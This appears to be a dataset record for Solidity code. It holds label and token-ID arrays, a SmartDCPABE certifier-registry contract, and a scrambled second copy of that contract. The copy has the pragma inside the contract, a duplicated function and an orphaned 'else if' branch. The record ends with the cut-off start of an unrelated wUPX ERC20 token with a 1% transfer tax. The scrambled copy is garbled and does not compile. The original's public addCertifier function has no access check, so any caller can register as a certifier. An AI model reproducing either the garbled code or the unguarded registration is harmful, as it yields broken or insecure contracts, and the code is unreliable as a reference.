-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0 <= 0.7.5;
import "./SmartDCPABEUsers.sol";
import "./Collection.sol";
/**
* @author Bruno C. P. Arruda
* @title SmartDCPABE Certifier Management Contract
* @notice This contract allow to register and find certifiers
*/
contract SmartDCPABEAuthority is Collection {
struct Certifier {
address addr;
string name;
string email;
uint64 numPublicKeys;
}
address[] public certifierAddresses;
mapping(address => Certifier) certifiers;
SmartDCPABEUsers user;
address contractKeys;
/**
* @notice creates the contract with unset dependencies
* @param root the address of the Root contract
*/
constructor(address root) Collection(root) {}
/**
* @inheritdoc Collection
*/
function setContractDependencies(
ContractType contractType,
address addr
)
public
override
onlyOwner
{
if (contractType == ContractType.USERS) {
user = SmartDCPABEUsers(addr);
} else if (contractType == ContractType.KEYS) {
contractKeys = addr;
}
}
/**
* @notice increments public key counting of a certifier
* @param addr the certifier's address
*/
function incrementPublicKeyCount(address addr) public {
require(msg.sender == contractKeys, "Operation not allowed.");
certifiers[addr].numPublicKeys++;
}
/**
* @notice checks if the address is registered as a Certifier in this contract
* @param addr a Ethereum address
*/
function isCertifier(address addr) public view returns (bool) {
return (bytes(certifiers[addr].name)).length > 0;
}
/**
* @notice registers a certifier
* @param addr certfier's address
* @param name certifier's name
* @param email certifier's e-mail
*/
function addCertifier(address addr, string memory name, string memory email) public {
certifierAddresses.push(addr);
certifiers[addr] = Certifier(addr, name, email, 0);
}
/**
* @notice get certifier data
* @param addr the certifier's address
* @return addr_ certifier's address
* @return name certifier's name
* @return email certifier's e-mail
* @return numPublicKeys number of attributes published by the certifier
*/
function getCertifier
(
address addr
)
public
view
returns
(
address addr_,
string memory name,
string memory email,
uint64 numPublicKeys
)
{
Certifier storage c = certifiers[addr];
return (c.addr, c.name, c.email, c.numPublicKeys);
}
}
| * @author Bruno C. P. Arruda @title SmartDCPABE Certifier Management Contract @notice This contract allow to register and find certifiers/ | contract SmartDCPABEAuthority is Collection {
pragma solidity ^0.7.0 <= 0.7.5;
struct Certifier {
address addr;
string name;
string email;
uint64 numPublicKeys;
}
address[] public certifierAddresses;
mapping(address => Certifier) certifiers;
SmartDCPABEUsers user;
address contractKeys;
constructor(address root) Collection(root) {}
function setContractDependencies(
ContractType contractType,
address addr
)
public
override
onlyOwner
{
if (contractType == ContractType.USERS) {
user = SmartDCPABEUsers(addr);
contractKeys = addr;
}
}
function setContractDependencies(
ContractType contractType,
address addr
)
public
override
onlyOwner
{
if (contractType == ContractType.USERS) {
user = SmartDCPABEUsers(addr);
contractKeys = addr;
}
}
} else if (contractType == ContractType.KEYS) {
function incrementPublicKeyCount(address addr) public {
require(msg.sender == contractKeys, "Operation not allowed.");
certifiers[addr].numPublicKeys++;
}
function isCertifier(address addr) public view returns (bool) {
return (bytes(certifiers[addr].name)).length > 0;
}
function addCertifier(address addr, string memory name, string memory email) public {
certifierAddresses.push(addr);
certifiers[addr] = Certifier(addr, name, email, 0);
}
function getCertifier
(
address addr
)
public
view
returns
(
address addr_,
string memory name,
string memory email,
uint64 numPublicKeys
)
{
Certifier storage c = certifiers[addr];
return (c.addr, c.name, c.email, c.numPublicKeys);
}
}
| 5,360,579 | [
1,
38,
2681,
83,
385,
18,
453,
18,
10371,
13177,
225,
19656,
40,
4258,
2090,
41,
11921,
1251,
13303,
13456,
225,
1220,
6835,
1699,
358,
1744,
471,
1104,
3320,
3383,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
19656,
40,
4258,
2090,
41,
10962,
353,
2200,
288,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
27,
18,
20,
1648,
374,
18,
27,
18,
25,
31,
203,
565,
1958,
11921,
1251,
288,
203,
3639,
1758,
3091,
31,
203,
3639,
533,
508,
31,
203,
3639,
533,
2699,
31,
203,
3639,
2254,
1105,
818,
4782,
2396,
31,
203,
565,
289,
203,
203,
565,
1758,
8526,
1071,
3320,
1251,
7148,
31,
203,
565,
2874,
12,
2867,
516,
11921,
1251,
13,
3320,
3383,
31,
203,
565,
19656,
40,
4258,
2090,
41,
6588,
729,
31,
203,
565,
1758,
6835,
2396,
31,
203,
203,
203,
565,
3885,
12,
2867,
1365,
13,
2200,
12,
3085,
13,
2618,
203,
565,
445,
444,
8924,
8053,
12,
203,
3639,
13456,
559,
6835,
559,
16,
203,
3639,
1758,
3091,
203,
565,
262,
203,
3639,
1071,
203,
3639,
3849,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
309,
261,
16351,
559,
422,
13456,
559,
18,
30846,
13,
288,
203,
5411,
729,
273,
19656,
40,
4258,
2090,
41,
6588,
12,
4793,
1769,
203,
5411,
6835,
2396,
273,
3091,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
444,
8924,
8053,
12,
203,
3639,
13456,
559,
6835,
559,
16,
203,
3639,
1758,
3091,
203,
565,
262,
203,
3639,
1071,
203,
3639,
3849,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
309,
261,
16351,
559,
422,
13456,
559,
18,
30846,
13,
288,
203,
5411,
729,
273,
19656,
40,
4258,
2090,
41,
6588,
12,
4793,
1769,
203,
5411,
6835,
2396,
273,
3091,
31,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-22
*/
/*
Website: uPlexa.com
$$$$$$$\ $$\
$$ __$$\ $$ |
$$\ $$\ $$ | $$ |$$ | $$$$$$\ $$\ $$\ $$$$$$\
$$ | $$ |$$$$$$$ |$$ |$$ __$$\ \$$\ $$ |\____$$\
$$ | $$ |$$ ____/ $$ |$$$$$$$$ | \$$$$ / $$$$$$$ |
$$ | $$ |$$ | $$ |$$ ____| $$ $$< $$ __$$ |
\$$$$$$ |$$ | $$ |\$$$$$$$\ $$ /\$$\\$$$$$$$ |
\______/ \__| \__| \_______|\__/ \__|\_______|
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* Burn. Called by public function, allowing users to burn their
* wUPX for swapping to UPX. Only use this with the Bridge.
*/
event Burn(address indexed burner, uint256 value, string note);
/**
* @dev Emitted when 'taxWallet' is updated to a new wallet
*/
event TaxWalletTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Emitted when acount is updated to be excluded
*/
event ExcludedAccount(address indexed account);
/**
* @dev Emitted when account is updated to be included
*/
event IncludedAccount(address indexed account);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _tFeeTotal;
address private _taxWallet;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_taxWallet = 0x502bEdE43D884Da820657a0f67bcbaad25139CeE;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*OwnershipTransferred
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
// 1% Tax gets sent to upxReaper contract.
// Since token is deployed BEFORE the upxReaper contract, we will have to update
// the contract after, with the upxReaper address (or use a middleman address)
// Also: since there may be multiple staking periods we need to think about the future here.
// WE could have an option to set/reset/change the staking period
// We could also make it so during this period, upxReaper essentially determines
// how much per block to provide based on the amount of wUPX/bUPX it holds, since
// the number will change based on taxes AND potential block rewards.
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
/* If burning, burn the full amount.
We should also ensure that upxReaper does not pay taxes when paying out rewards */
if (_isExcluded[sender]) {
_transferFromExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
/* Standard transfer w/ 1% tax to go to farming rewards */
function _transferStandard(address sender, address recipient, uint256 amount) internal virtual {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(amount);
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(tTransferAmount);
_doTax(sender, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
// Transfer without tax: for LPs and upxReaper
function _transferFromExcluded(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
